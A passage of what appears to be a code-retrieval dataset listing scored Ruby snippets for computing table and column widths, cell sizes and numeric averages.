width_per_column].max\nend\nend\nwidths_by_column.sort_by { |col, _| col }.map { |_, w| w }\nend\nend", "title": "" }, { "docid": "3253c051e8cf63550bf8fe1153009a05", "score": "0.66385317", "text": "def column_width\n (self.max_by {|item| item.length}).length\n end", "title": "" }, { "docid": "d4da42f87f998bcc58a9fe1ea3f1d74c", "score": "0.6628525", "text": "def get_column_width(column_index = 0)\n width = get_column_width_raw(column_index)\n return RubyXL::ColumnRange::DEFAULT_WIDTH if width.nil?\n (width - (5.0 / RubyXL::Font::MAX_DIGIT_WIDTH)).round\n end", "title": "" }, { "docid": "1b0cb4eb7e4fac9cd34dc2fffc25e06d", "score": "0.6608222", "text": "def calculate_column_width col\n ret = @cw[col] || 2\n ctr = 0\n @list.each_with_index { |r, i| \n #next if i < @toprow # this is also a possibility, it checks visible rows\n break if ctr > 10\n ctr += 1\n next if r == :separator\n c = r[col]\n x = c.to_s.length\n ret = x if x > ret\n }\n ret\n end", "title": "" }, { "docid": "ef41d75f9683576b57183ef663fa729a", "score": "0.657384", "text": "def num_columns\n (width+1)/column_width\n end", "title": "" }, { "docid": "2bd0d3889e42ef175f6e5806932f62a8", "score": "0.6559379", "text": "def width\n # Get the size of the first row of the array\n @array[0].size\n end", "title": "" }, { "docid": "2b5d11cb2ae07d7627b532180863d559", "score": "0.641899", "text": "def column_size\n @rows[0].size\n end", "title": "" }, { "docid": "422997e17035b6ca2e03511279f4e97d", "score": "0.64041585", "text": "def width\n return -1 if @header.nil?\n @header.width\n end", "title": "" }, { "docid": "d8c6a8891761c68ec4ffcd27c45c4fd9", "score": "0.6403935", "text": "def width\n (xn - x) + 1\n end", "title": "" }, { "docid": "5f5a70d3ce88ebf0e0d0bf34f8e9a927", "score": "0.63984233", "text": "def totalLengthHorizontal(cell)\n\t\treturn totalLengthIntern(self.lineContaining(cell), cell)\n\tend", "title": "" }, { "docid": "fd25c86fd525ee153dce8b608105481e", "score": "0.63908327", "text": "def get_table_width(table)\n die \"current table does not contain table:table-column\" unless table.elements[\"table:table-column\"]\n table_name = table.attributes[\"table:name\"]\n die \"Could not extract table_name\" if table_name.empty?\n num_columns_of_table = 0\n table.elements.each \"table:table-column\" do |table_column|\n num_columns_of_table += 1\n num_repetitions = table_column.attributes[\"table:number-columns-repeated\"]\n if(num_repetitions)\n num_columns_of_table += num_repetitions.to_i-1\n end\n end\n num_columns_of_table\n end", "title": "" }, { "docid": "bec85b371dda8c3cf4aea92f90212e4a", "score": "0.63894665", "text": "def width\n width = 0\n self.each_char do |char|\n char_width = METRICS[char] || DEFAULT_WIDTH\n width += char_width\n end\n return width\n end", "title": "" }, { "docid": "88e59fa5e1a39af798c5cd276d2a2b2e", "score": "0.6383849", "text": "def width\n size[0]\n end", "title": "" }, { "docid": "8bf160db2b84e8a21888bbd2b257fa28", "score": "0.63636076", "text": "def get_table_width table\n die \"current table does not contain table:table-column\" unless table.elements[\"table:table-column\"]\n table_name = table.attributes[\"table:name\"]\n die \"Could not extract table_name\" if table_name.empty?\n num_columns_of_table = 0\n table.elements.each \"table:table-column\" do |table_column|\n num_columns_of_table += 1\n num_repetitions = table_column.attributes[\"table:number-columns-repeated\"]\n if num_repetitions\n num_columns_of_table += num_repetitions.to_i - 1\n end\n end\n num_columns_of_table\n end", "title": "" }, { "docid": "2982372e9bad4dde615af8eb339380c9", "score": "0.6360794", "text": "def foorth_column_width\n (self.max_by {|item| item.length}).length\n end", "title": "" }, { "docid": "7c2ba29c8fc8a35cf35a5b16d5e7e8b4", "score": "0.6351756", "text": "def calc_width(col, colspan, length, width)\n if @scale['tabsets'].empty?\n cwidth = \"#{100*length/width}%\"\n else\n i = nil\n @scale['ranges'].each_with_index {|r, j|\n if r === col\n i = j; break\n end\n }\n if i\n w = @scale['widths'][i]\n r = @scale['ranges'][i]\n if r.to_a.length == colspan\n cwidth = w\n elsif r.to_a.length > colspan\n wint = w.to_i / (r.to_a.length / colspan)\n cwidth = wint.to_s + w[(w.index(/[A-Za-z]/))..-1]\n else # too complicated a scenario? THINK ABOUT!!!\n cwidth = nil # html defaults to 'auto'\n end\n else\n cwidth = nil\n end\n end\n \n# warr = @scale[col,colspan]\n# if warr.length == 1\n# if warr[0] == 'auto'\n# return nil\n# else\n# return warr[0]\n# end\n# elsif warr.include?('auto') or warr.include?('')\n# return nil # auto is html default \n# else\n# ws = 0\n# apercentage = false\n# afixedwidth = false\n# warr.each do |w|\n# ws += w.to_i\n# if w[-1,1] == '%'\n# apercentage = true\n# else\n# afixedwidth = true\n# end\n# end\n# if apercentage and afixedwidth\n# return nil # both kinds unreconcilable\n# elsif apercentage and not afixedwidth\n# return \"#{ws}%\"\n# else\n# return \"#{ws}\"\n# end\n# end\n# end\n return cwidth\n end", "title": "" }, { "docid": "aebe8084b40915e776fa48f833e491b3", "score": "0.63310975", "text": "def getcolwidth(dataset,headers=nil)\n if dataset.class==Array then\n widths=headers.collect {|x| 0} # setup our resultant array of widths\n\n # check the widths for the headers\n headers.each_with_index { |value, index| widths[index] = value.length }\n\n if (dataset.length>0) and (dataset[0].class!=Hash) then\n width=0\n dataset.each do |item|\n w=getitemwidth(item)\n widths[0] = widths[0]<w ? w : widths[0] # 0 because there's one column\n end\n return widths\n elsif dataset[0].class==Hash then\n raise \"getcolwidth headers are nil\" if headers.nil?\n dataset.each do |row|\n headers.each_with_index do |value, index|\n width=getitemwidth(row[value])\n val= widths[index] # storing value for efficiency, next statement might have two of this call\n widths[index]= val < width ? width : val\n end\n end\n\n return widths\n else\n raise \"getcolwidth Unknown internal data type\"\n end\n else\n raise \"getcolwidth - dataset type not supported: #{dataset.class}\" # need to raise an error\n end\n end", "title": "" }, { "docid": "abde770aa0328a483259bd00d5ef109f", "score": "0.6321598", "text": "def pix_width_of_containing_column(img)\n column = img.ancestors('.columns').first\n col_width = (column['class'].split & ZurbInk::SIZE_RANGE_AS_WORDS).first.in_numbers\n\n ZurbInk::INK_COLUMN_WIDTHS[col_width]\n end", "title": "" }, { "docid": "aadc854a708941f9d6b0d9315dc5fd30", "score": "0.6317373", "text": "def calc_width(col, colspan, length, width)\n if @scale.empty?\n width = \"#{100*length/width}%\"\n else\n warr = @scale[col,colspan]\n if warr.length == 1\n if warr[0] == 'auto'\n return nil\n else\n return warr[0]\n end\n elsif warr.include?('auto') or warr.include?('')\n return nil # auto is html default \n else\n ws = 0\n apercentage = false\n afixedwidth = false\n warr.each do |w|\n ws += w.to_i\n if w[-1,1] == '%'\n apercentage = true\n else\n afixedwidth = true\n end\n end\n if apercentage and afixedwidth\n return nil # both kinds unreconcilable\n elsif apercentage and not afixedwidth\n return \"#{ws}%\"\n else\n return \"#{ws}\"\n end\n end\n end\n return nil # should never get here, but just in case\n end", "title": "" }, { "docid": "9b8b562415ac49a0680e561749e36ae0", "score": "0.62879574", "text": "def getWidth\n return @board[0].length\n end", "title": "" }, { "docid": "fc2fa8553fcd4b929a6b208186a6797a", "score": "0.6283624", "text": "def width\n @x1 - @x0\n end", "title": "" }, { "docid": "f9ddc00d3b36dafce8a1665367e518ca", "score": "0.6276979", "text": "def width!\n size![1]\n end", "title": "" }, { "docid": "5a76a73f14f2ad75e9853c3e9ccbc6b1", "score": "0.6272432", "text": "def width\n @tile_width * @blocks[0].size\n end", "title": "" }, { "docid": "00eacf86d6ac8ecc32292b2bd046dfc1", "score": "0.62654907", "text": "def width\n if (x + @width) > Terminal.width\n new_width = @width - ((x + @width) - Terminal.width)\n return new_width < 1 ? 1 : new_width\n\n else\n @width\n\n end\n end", "title": "" }, { "docid": "6aefc8a34097bb8960d119f6e84346a7", "score": "0.6261748", "text": "def fit_width\n width = Terminal.terminal_width\n ((width.to_f / column_size) - (padding + 3)).to_i\n end", "title": "" }, { "docid": "ca7f892e03ee28a4ef24e8ce857bb487", "score": "0.62447184", "text": "def getTableWidth(table)\n die(\"getTableWidth: table #{table} is not a REXML::Element\") unless (table.class.to_s == \"REXML::Element\")\n die(\"getTableWidth: current table does not contain table:table-column\") unless(table.elements[\"table:table-column\"])\n tableName=table.attributes[\"table:name\"]\n die(\"getTableWidth: Could not extract tableName\") if (tableName.empty?())\n numColumnsOfTable=0\n #--------------------------------------------------------------\n # Vorhandene Spalteneintraege zaehlen\n #--------------------------------------------------------------\n table.elements.each(\"table:table-column\"){ |tableColumn|\n numColumnsOfTable+=1\n numRepetitions=tableColumn.attributes[\"table:number-columns-repeated\"]\n if(numRepetitions)\n numColumnsOfTable+=numRepetitions.to_i-1\n end\n }\n tell(\"getTableWidth: width of '#{tableName}': #{numColumnsOfTable}\")\n return numColumnsOfTable\n end", "title": "" }, { "docid": "dee57528d2db5cd7c5fc986a53902891", "score": "0.62414694", "text": "def net_cell_width\n side_length * 1.5\n end", "title": "" }, { "docid": "2ed657f18d5c3addbda7dc1761328563", "score": "0.6239891", "text": "def width\n @width ||= size.last.split('x').first.strip!.to_i\n end", "title": "" }, { "docid": "4861b0466e59fc2fda5126e7a67d0c29", "score": "0.62379205", "text": "def grid_width\n # Returns 0 if divide-by-zero\n if CELLSIZE != 0 then WIDTH / CELLSIZE else 0 end\n end", "title": "" }, { "docid": "86bfadd42da4662b853ded8057bea8ff", "score": "0.6233695", "text": "def width\n # TODO: auto unit conversion\n measurement(2).try(:measurement)\n end", "title": "" }, { "docid": "ea6473488ed4bb64b9f050450dba9d2b", "score": "0.6228041", "text": "def avg_spanned_min_width\n min_width.to_f / colspan\n end", "title": "" }, { "docid": "b80c3898651c80d1140b24deb652ed67", "score": "0.6220916", "text": "def column_width colindex, width\n return if width < 0\n raise ArgumentError, \"wrong width value sent: #{width} \" if width.nil? || !width.is_a?(Fixnum) || width < 0\n @cw[colindex] = width # uncommented 2011-12-1 for expand on +\n @pw[colindex] = width # XXXXX\n get_column(colindex).width = width\n @repaint_required = true\n @recalc_required = true\n end", "title": "" }, { "docid": "93a9420a730ff0158c129bc1aa841290", "score": "0.6210891", "text": "def width()\n return @width\n end", "title": "" }, { "docid": "5593fa546a55c92f2f173a0e91c26eda", "score": "0.62091666", "text": "def size_col(col) #:nodoc:\n # Look up the cell value to see if it has been changed\n if @col_sizes[col]\n width = @col_sizes[col]\n\n # The relationship is different for user units less than 1.\n if width < 1\n (width *12).to_i\n else\n (width *7 +5 ).to_i\n end\n else\n 64\n end\n end", "title": "" }, { "docid": "5e4f457091055f48af9e51726ab9e825", "score": "0.62001073", "text": "def column_widths\n@column_widths ||= begin\nif width - cells.min_width < -epsilon\nraise Errors::CannotFit,\n\"Table's width was set too small to contain its contents \" +\n\"(min width #{cells.min_width}, requested #{width})\"\nend\nif width - cells.max_width > epsilon\nraise Errors::CannotFit,\n\"Table's width was set larger than its contents' maximum width \" +\n\"(max width #{cells.max_width}, requested #{width})\"\nend\nif width - natural_width < -epsilon\n# Shrink the table to fit the requested width.\nf = (width - cells.min_width).to_f / (natural_width - cells.min_width)\n(0...column_length).map do |c|\nmin, nat = column(c).min_width, natural_column_widths[c]\n(f * (nat - min)) + min\nend\nelsif width - natural_width > epsilon\n# Expand the table to fit the requested width.\nf = (width - cells.width).to_f / (cells.max_width - cells.width)\n(0...column_length).map do |c|\nnat, max = natural_column_widths[c], column(c).max_width\n(f * (max - nat)) + nat\nend\nelse\nnatural_column_widths\nend\nend\nend", "title": "" }, { "docid": "9ecf2d4f7acba0bfc39a201316acbb01", "score": "0.6198047", "text": "def width\n dimensions[0]\n end", "title": "" }, { "docid": "e8ec5a1b528334a71d971392a607a8c7", "score": "0.6195401", "text": "def current_width\n @row_size * DELTA_X + BORDER_WIDTH\n end", "title": "" }, { "docid": "ebe47f85b69483f68fb5a9d9c33cb31b", "score": "0.61931235", "text": "def message_col_width\n cells = requires_tag? ? 6 : 5\n dyn_width = (table.cell_spacing * cells) + table.style.border_y.length\n table_width - created_col_width - severity_col_width - source_col_width - format_col_width - tag_col_width - dyn_width\n end", "title": "" }, { "docid": "3658f94cfb8546b8dd65007f4c16f290", "score": "0.6183836", "text": "def num_cols\n reload() if !@cells\n return @cells.keys.map(){ |_, c| c }.max || 0\n end", "title": "" }, { "docid": "c75fe1d316d6eff3cc05f87e4ec3cea2", "score": "0.6156958", "text": "def num_cols\n reload() if !@cells\n return @cells.keys.map(){ |r, c| c }.max || 0\n end", "title": "" }, { "docid": "ccadeb30eea79578831bcb0e52ef2856", "score": "0.6127483", "text": "def width\n size[0]\n end", "title": "" }, { "docid": "66f3419eb159ad1ff771e66a590cf7d2", "score": "0.6109889", "text": "def width\n\t\t@data[1]\n\tend", "title": "" }, { "docid": "17e94bf9101417b2ce6eb32ea0b048c8", "score": "0.610192", "text": "def width\n (x..xn).size\n end", "title": "" }, { "docid": "ffa6ea7b9234827f0d9f9451d3542aec", "score": "0.6096961", "text": "def ncols\n rows[0].size\n end", "title": "" }, { "docid": "e2188ebe77188cbc9f05d6800b09160b", "score": "0.6090521", "text": "def column_count\n @rows[0].size\n end", "title": "" }, { "docid": "068e9ba799b2d02b2f0d59d5edb66503", "score": "0.6084684", "text": "def width(style=nil)\n dimensions(style)[:width]\n end", "title": "" }, { "docid": "aff233615221bd3d05496f3c2c35bd83", "score": "0.6083189", "text": "def column_count\n locate\n @cells.length\n end", "title": "" }, { "docid": "58b33ffabadfddd2188b710cd000904c", "score": "0.6070158", "text": "def natural_column_widths\n @natural_column_widths ||= ColumnWidthCalculator.new(cells).natural_widths\n end", "title": "" }, { "docid": "7a9caecab0b7c4bfed3d68ad092b9e0d", "score": "0.60628366", "text": "def max_width\n aggregate_cell_values(:column, :max_width_ignoring_span, :max)\n end", "title": "" }, { "docid": "a93404648d9c2a8aedad8c76f345a182", "score": "0.60574037", "text": "def width\n @table_width\n end", "title": "" }, { "docid": "cc6d95cb88e0e2d3ab7ebbf940030f94", "score": "0.60474646", "text": "def styled_width_of_single_character\n styled_width_of(\"M\")\n end", "title": "" }, { "docid": "f08d7ba23de7ffcc9791a22be8be780a", "score": "0.6046158", "text": "def width\n first = @range.first.to_i\n last = @range.last.to_i\n return @base.width * ((first-last).abs + 1)\n end", "title": "" }, { "docid": "304b02262a4c01f1230ad478ca374d0f", "score": "0.6041733", "text": "def max_width\n return max_width_ignoring_span if @colspan == 1\n\n # Sum the smallest max-width from each column in the group, including\n # myself.\n max_widths = Hash.new(0)\n dummy_cells.each do |cell|\n max_widths[cell.column] =\n [max_widths[cell.column], cell.max_width].min\n end\n max_widths[column] = [max_widths[column], max_width_ignoring_span].min\n max_widths.values.inject(0, &:+)\n end", "title": "" }, { "docid": "f2a5db67b95ecb2d39d1ec4df5e37640", "score": "0.6041522", "text": "def num_columns\n @num_cols = first_line.split(\"\\t\").length if not defined? @num_cols\n return @num_cols\n end", "title": "" }, { "docid": "c1d88bc1207157dd235bce53e20f899e", "score": "0.60410726", "text": "def column_widths\n @column_widths ||= begin\n if width - cells.min_width < -Prawn::FLOAT_PRECISION\n raise Errors::CannotFit,\n \"Table's width was set too small to contain its contents \" +\n \"(min width #{cells.min_width}, requested #{width})\"\n end\n\n if width - cells.max_width > Prawn::FLOAT_PRECISION\n raise Errors::CannotFit,\n \"Table's width was set larger than its contents' maximum width \" +\n \"(max width #{cells.max_width}, requested #{width})\"\n end\n\n if width - natural_width < -Prawn::FLOAT_PRECISION\n # Shrink the table to fit the requested width.\n f = (width - cells.min_width).to_f / (natural_width - cells.min_width)\n\n (0...column_length).map do |c|\n min, nat = column(c).min_width, natural_column_widths[c]\n (f * (nat - min)) + min\n end\n elsif width - natural_width > Prawn::FLOAT_PRECISION\n # Expand the table to fit the requested width.\n f = (width - cells.width).to_f / (cells.max_width - cells.width)\n\n (0...column_length).map do |c|\n nat, max = natural_column_widths[c], column(c).max_width\n (f * (max - nat)) + nat\n end\n else\n natural_column_widths\n end\n end\n end", "title": "" }, { "docid": "7638f95f9182e6da3638a44409fb2dfc", "score": "0.60260564", "text": "def width\n 0\n end", "title": "" }, { "docid": "7638f95f9182e6da3638a44409fb2dfc", "score": "0.60260564", "text": "def width\n 0\n end", "title": "" }, { "docid": "3c580ccc57f2d458f661346d310e038d", "score": "0.60156786", "text": "def contents_width\n col_max * (item_width + spacing) + spacing\n end", "title": "" }, { "docid": "3c580ccc57f2d458f661346d310e038d", "score": "0.60156786", "text": "def contents_width\n col_max * (item_width + spacing) + spacing\n end", "title": "" }, { "docid": "eefcae2fd60add158c4e7c137e348c5c", "score": "0.6012563", "text": "def row_length(row)\n @cells[row].length\n end", "title": "" }, { "docid": "7b2d470dcaf1b084aec8326960b709b3", "score": "0.6012", "text": "def text_column_width\n (width - (columns - 1) * gutter_width) / columns\n end", "title": "" }, { "docid": "e4654202210ae130f90207a3d4e4902a", "score": "0.60111076", "text": "def width\n horizontal.size\n end", "title": "" }, { "docid": "2de647881b3a257494a7fb6e3a2a944e", "score": "0.6003869", "text": "def width\n\t\t@data[0].length\n\tend", "title": "" }, { "docid": "e5e12e00f059718d27ea7a2bb441de43", "score": "0.5987127", "text": "def width\n 0\n end", "title": "" }, { "docid": "94144273bf20c47634ec564261436165", "score": "0.59868175", "text": "def natural_width\n @natural_width ||= natural_column_widths.inject(0, &:+)\n end", "title": "" }, { "docid": "60dcfcd251c0d11968b9c64cf9b59022", "score": "0.5974011", "text": "def column_count\n\t\treturn self.first.length\n\tend", "title": "" }, { "docid": "60dcfcd251c0d11968b9c64cf9b59022", "score": "0.5974011", "text": "def column_count\n\t\treturn self.first.length\n\tend", "title": "" }, { "docid": "5136314969cacdb01dd4b9ba48f2cd5d", "score": "0.5970457", "text": "def get_cell_size(int)\n (int * int).to_s.length + 1\nend", "title": "" }, { "docid": "808602c28411858e23804eb7d388fe3f", "score": "0.59626377", "text": "def horizontal_width\n @horizontal_width || 0\n end", "title": "" }, { "docid": "0504e7be7f76db7fed380b33a774523f", "score": "0.59533924", "text": "def width\r\n 0\r\n end", "title": "" }, { "docid": "ac32bfe9754b5e5cacb16b1567c12b25", "score": "0.5933616", "text": "def size\n\t\t\tcount = 0\n\t\t\teach_cell do |c|\n\t\t\t\tcount += 1 if !!c\n\t\t\tend\n\t\t\tcount\n\t\tend", "title": "" }, { "docid": "157969b3dc6d803bf9a14c1673b451c7", "score": "0.5931878", "text": "def row_length\n i = 0\n self.each{ |row| i+=1 }\n i/self[0].length\n end", "title": "" }, { "docid": "236ba002977cf3bdcc83e2e529555a73", "score": "0.5922381", "text": "def width\n @file.xpath('./*/@width').first.try(:text) if @file.xpath('./*/@width').present?\n end", "title": "" }, { "docid": "c7c68cda527f4a011934a3b3b507773f", "score": "0.5912448", "text": "def width\n\t\t\treturn @width.floor\n\t\tend", "title": "" }, { "docid": "aa5cb59ef8409690cca5ce1322a89359", "score": "0.5904973", "text": "def width\n assert_exists\n return @o.invoke(\"width\").to_s\n end", "title": "" }, { "docid": "aa5cb59ef8409690cca5ce1322a89359", "score": "0.5904973", "text": "def width\n assert_exists\n return @o.invoke(\"width\").to_s\n end", "title": "" }, { "docid": "42d74a7942a228cb06a356193c50a3ac", "score": "0.59042615", "text": "def size_col(col) #:nodoc:\n # Look up the cell value to see if it has been changed.\n if @col_sizes[col]\n width = @col_sizes[col]\n\n # Convert to pixels.\n if width == 0\n pixels = 0\n elsif width < 1\n pixels = (width * (MAX_DIGIT_WIDTH + PADDING) + 0.5).to_i\n else\n pixels = (width * MAX_DIGIT_WIDTH + 0.5).to_i + PADDING\n end\n else\n pixels = @default_col_pixels\n end\n pixels\n end", "title": "" }, { "docid": "e7dd59b7fd96da3e642b323a0d87c2e8", "score": "0.5891206", "text": "def column_width n\n width = @column_widths[n] || 0\n width + additional_column_widths[n].to_i\n end", "title": "" }, { "docid": "05e980ab9d108c55f043e574dc9af43c", "score": "0.58891505", "text": "def width\n return @grid.length\n end", "title": "" } ]
8c1e26e66a09c952cef0ed391fa82a28
Determines the average of a set of numerical values
[ { "docid": "8f3a4798ed0e36970211fec4c40c2b33", "score": "0.0", "text": "def process_result(value, reply)\n @result[:value] += value\n @count += 1\n end", "title": "" } ]
[ { "docid": "825dd876c18b242fa474f1d1927d2f73", "score": "0.7904754", "text": "def AVG(*values)\n values.flatten!\n values.compact!\n SUM(values) / COUNT(values)\n end", "title": "" }, { "docid": "825dd876c18b242fa474f1d1927d2f73", "score": "0.7904754", "text": "def AVG(*values)\n values.flatten!\n values.compact!\n SUM(values) / COUNT(values)\n end", "title": "" }, { "docid": "fd0fdc3a9033e9b2ce4e3bbf770c2097", "score": "0.78875965", "text": "def average numbers\n\n\tsum = numbers.reduce 0 do |sum, num|\n\t\tsum += numbers\n\tend\n\tsum.to_f /numbers.lenght.to_f\n\nend", "title": "" }, { "docid": "9a23f24bde97cc77986d2a0514138223", "score": "0.78334576", "text": "def average(values)\n sum = 0\n values.each do |value|\n sum = sum + value\n end\n return sum.to_f / values.length\nend", "title": "" }, { "docid": "888d7f2e51da69f8326b18bee1cbf592", "score": "0.7831084", "text": "def average numbers\n sum = numbers.reduce(:+).to_f\n avg = sum / numbers.length\nend", "title": "" }, { "docid": "9044ddad14f5ad1207f23c1b9a6913eb", "score": "0.7822433", "text": "def average(values)\n sum = values.inject(0){ |tmpsum,v| tmpsum + v.to_f }\n return sum / values.size\nend", "title": "" }, { "docid": "da27a9098d56903affb26d236d5e0922", "score": "0.77812225", "text": "def mean vals\n vals.inject{ |sum, el| sum + el }.to_f / vals.size \n end", "title": "" }, { "docid": "47c3578621a07765496a406a6cd20c1e", "score": "0.77476037", "text": "def float_average(numbers)\n sum = 0.0\n numbers.each { |number| sum += number }\n sum / numbers.length\nend", "title": "" }, { "docid": "864ffe197a6308586c117d2eeeb5a857", "score": "0.7651191", "text": "def average numbers\n n = numbers.reduce(0,:+).to_f\n return n/numbers.length\nend", "title": "" }, { "docid": "098de160b7d9b29ce0f7e3674495c776", "score": "0.76281303", "text": "def average(numbers)\n # https://ruby-doc.com/core-2.7.2/Enumerable.html#method-i-reduce\n sum = numbers.reduce { |sum, number| sum + number }\n sum / numbers.count\nend", "title": "" }, { "docid": "cff3cfaeb2bbf9bb194e52acc626def3", "score": "0.7605086", "text": "def average(numbers)\n sum = numbers.reduce { |sum, number| sum + number }\n sum / numbers.count\nend", "title": "" }, { "docid": "cff3cfaeb2bbf9bb194e52acc626def3", "score": "0.7605086", "text": "def average(numbers)\n sum = numbers.reduce { |sum, number| sum + number }\n sum / numbers.count\nend", "title": "" }, { "docid": "b706994f0e6e9292b8152ee4c5eec9ab", "score": "0.7582144", "text": "def mean\n each {|item| raise TypeError, \"Cannot determine the mean of an array that contains non-Numeric objects.\" unless item.kind_of?(Numeric)}\n inject{ |sum, item| sum + item }.to_f / size\n end", "title": "" }, { "docid": "25bd802c453d16998abe40a3db8e4424", "score": "0.7575949", "text": "def mean\n return 0 if @values.empty?\n \n\n sum = 0;\n @values.each do |value|\n sum += value\n end\n sum / @values.size\n end", "title": "" }, { "docid": "00d6931401cbd1b156e817406477662c", "score": "0.75756055", "text": "def arithmetic_mean(data_set)\n data_set.reduce(:+) / data_set.length\nend", "title": "" }, { "docid": "a789bdcb0c37611c89ca0165ca095f27", "score": "0.7555603", "text": "def mean\n\t\tnums = numerics\n\t\treturn nil if nums.empty?\n\t\tnums.sum.to_f / nums.size\n\tend", "title": "" }, { "docid": "a8c3744977710509b42ca7915773beba", "score": "0.75445575", "text": "def average numbers\n numbers.reduce(0,:+).to_f / numbers.length.to_f\nend", "title": "" }, { "docid": "b981aa40631efec459101ee6b9dda931", "score": "0.7542276", "text": "def average\n @array.map(&:average).inject(:+)\n end", "title": "" }, { "docid": "a6468b50eb4e559441cb8f476cd58843", "score": "0.7540973", "text": "def average numbers\n average_numbers = numbers.reduce(0.0, :+)/numbers.length\nend", "title": "" }, { "docid": "d1d3d81b6b724061354368b8488bc086", "score": "0.7527852", "text": "def average(series)\n series.compact!\n return 0 if series.empty?\n\n series.inject(0.0) { |sum, el| sum + el } / series.size\n end", "title": "" }, { "docid": "9ac8831e9359259e78fa4baec06014a1", "score": "0.75147575", "text": "def average numbers\n\tnumbers.reduce(:+) / numbers.length.to_f\nend", "title": "" }, { "docid": "b403a8ac1d427a02872aa1a3a8011328", "score": "0.75132954", "text": "def average(numbers)\n numbers.reduce(:+) / numbers.count\nend", "title": "" }, { "docid": "b04f13a54a263ef179459974b2b37ccf", "score": "0.7502453", "text": "def average(numbers)\n sum = numbers.reduce { |sum, number| sum + number }\n # sum / numbers.count\nend", "title": "" }, { "docid": "f16dd6e63e05618f7732aaf2957e7429", "score": "0.7497758", "text": "def average2(numbers)\r\n sum = numbers.reduce(:+) # numbers.reduce { |sum, num| sum + num}\r\n sum.to_f / numbers.count\r\nend", "title": "" }, { "docid": "25edb2c8cba166838c603aab040c400b", "score": "0.7490683", "text": "def avg(data)\r\n check_input_types(data)\r\n data.inject {|s, v| s += v}.to_f / data.length\r\nend", "title": "" }, { "docid": "8603ce04df5b01ab6bb3b9e6752c50a3", "score": "0.7487813", "text": "def average(numbers)\n sum = 0\n numbers.each { |x| sum += x }\n sum / numbers.length\nend", "title": "" }, { "docid": "db69770c280b010ed18c0219b2551655", "score": "0.747597", "text": "def mean(array_of_numbers)\n return sum(array_of_numbers) / array_of_numbers.length\n end", "title": "" }, { "docid": "a8ae19f18205efc51f7390e62ec21323", "score": "0.7475338", "text": "def mean(val = [])\n\tmean = 0.0\n total = 0.0\n\tfor i in 0.. val.size-1\n\t\tmean += i * val[i]\n total += val[i]\n\tend\n\tmean /= total\n\treturn mean\nend", "title": "" }, { "docid": "f7eb9f40b47f8bfcf92508ba794945a0", "score": "0.74631286", "text": "def average numbers\n\t(0...numbers).reduce [] do |average,i|\n\n\t\taverage + (i/numbers)\n\t\taverage\n\tend\n\t\nend", "title": "" }, { "docid": "f71bc207c94ff8e327e22f83b09328ea", "score": "0.74560726", "text": "def average(numbers)\n sum = 0\n numbers.each { |number| sum += number }\n sum / numbers.length\nend", "title": "" }, { "docid": "0d22c651b4d47ad38cb305a6f16ee17e", "score": "0.74531734", "text": "def average\n # Returns the outcome of the average calculation\n return @numbers.sum / @numbers.length.to_f\n end", "title": "" }, { "docid": "958dc36211fdd613db2e8eadfa7ac00c", "score": "0.74435884", "text": "def average(numbers)\n numbers.sum / numbers.size\nend", "title": "" }, { "docid": "4781eacfd036bd685fbba6f8a7929bcf", "score": "0.74388665", "text": "def average numbers\n # total = numbers.reduce 0 do |total,number|\n # total + number\n # end\n # total /numbers.length.to_f\n\n numbers.reduce(0,:+).to_f/numbers.length\nend", "title": "" }, { "docid": "15a012930f56d29b08cf0fed8c1c26a3", "score": "0.74330986", "text": "def average(numbers)\n (numbers.inject(:+) / numbers.size.to_f).round(2)\nend", "title": "" }, { "docid": "be77ee9dee2d948a6deaab0577c793f3", "score": "0.74234205", "text": "def avg\n @results.reduce(:+).to_f / @results.size\n end", "title": "" }, { "docid": "a8f3396c4835d8e7dde409323ecad1c5", "score": "0.7419078", "text": "def mean(val = [])\n\tmean = 0.0\n\tfor i in 0.. val.size-1\n\t\tmean += val[i]\n\tend\n\tmean /= val.size\n\treturn mean\nend", "title": "" }, { "docid": "fb173d1f8b8dcd164aa02eb156f52bb2", "score": "0.7407832", "text": "def average(integers)\n sum = 0\n integers.each { |integer| sum += integer }\n sum / integers.size\nend", "title": "" }, { "docid": "2b4caa5dca075102dff2fa80ceb41b6e", "score": "0.7391213", "text": "def average numbers\nnumbers.reduce(:+) / numbers.length.to_f\nend", "title": "" }, { "docid": "c9c7a1e0dc30bfd6abbba4d0d3738b47", "score": "0.73891634", "text": "def average numbers\n av= numbers.reduce 0 do |total,number|\n sum = total + number\n end\n av/ numbers.length.to_f\nend", "title": "" }, { "docid": "6c24c85d04677da538eeb700da324e20", "score": "0.7389133", "text": "def average(numbers)\r\n return numbers.reduce(:+) / numbers.length\r\nend", "title": "" }, { "docid": "8754b88ec885bf24f7a12f89643ee32a", "score": "0.737215", "text": "def average(numbers)\r\n sum = 0 \r\n\r\n numbers.each do |num|\r\n sum += num\r\n end\r\n\r\n sum / numbers.size\r\nend", "title": "" }, { "docid": "76e37b7bb24b3dbd1a76a39f062e1709", "score": "0.73718894", "text": "def getavg array\n sum = 0\n array.each {|i| sum += i}\n puts sum/array.length\nend", "title": "" }, { "docid": "c3f781438059bd4868df902f4eb393c0", "score": "0.7370888", "text": "def average(numbers_array)\n sum = 0\n numbers_array.each do |int|\n sum += int\n end\n sum / numbers_array.count\nend", "title": "" }, { "docid": "c9c6e3785a82adb18aa8c08bd8865a50", "score": "0.73407596", "text": "def average(numbers)\n sum = 0\n return if numbers.nil?\n return if numbers.length == 0\n numbers.each do |n|\n sum += n.to_f\n end\n sum / numbers.size\nend", "title": "" }, { "docid": "3716e82ae802273795e5c1b586a98b59", "score": "0.733576", "text": "def average numbers\n # sum = numbers.reduce 0 do |total, number|\n # total + number\n # end\n # sum.to_f / numbers.length\n\n numbers.reduce(:+) / numbers.length.to_f\nend", "title": "" }, { "docid": "2264d4afbf5b245f86c531c447e41e88", "score": "0.7334263", "text": "def determine_average(data_series)\n\t\t\t# Xavg = Sum(Xi)/N \n\t\t\t# Need to use 1.0 to ensure floating point division\n\t\t\ttotal = 0\n\t\t\tdata_series.each do |x|\n\t\t\t\ttotal += x\n\t\t\tend\n\t\t\t# Use to_f to ensure floating point division\n\t\t\taverage = total.to_f/data_series.length\n\t\t\treturn average\n\t\tend", "title": "" }, { "docid": "0fcf675e01514f4486d01217478bb39a", "score": "0.7332017", "text": "def average numbers\n average = numbers.reduce 0 do |total, number|\n sum = total + number\n end\n average / numbers.length.to_f\nend", "title": "" }, { "docid": "135b28a04bbefbf0613462addc92e619", "score": "0.7327062", "text": "def average(ary)\n\treturn sum(ary) / ary.length\nend", "title": "" }, { "docid": "6ec6c6146ea60d801789b0b6dffefeaf", "score": "0.73194116", "text": "def get_average(results)\n 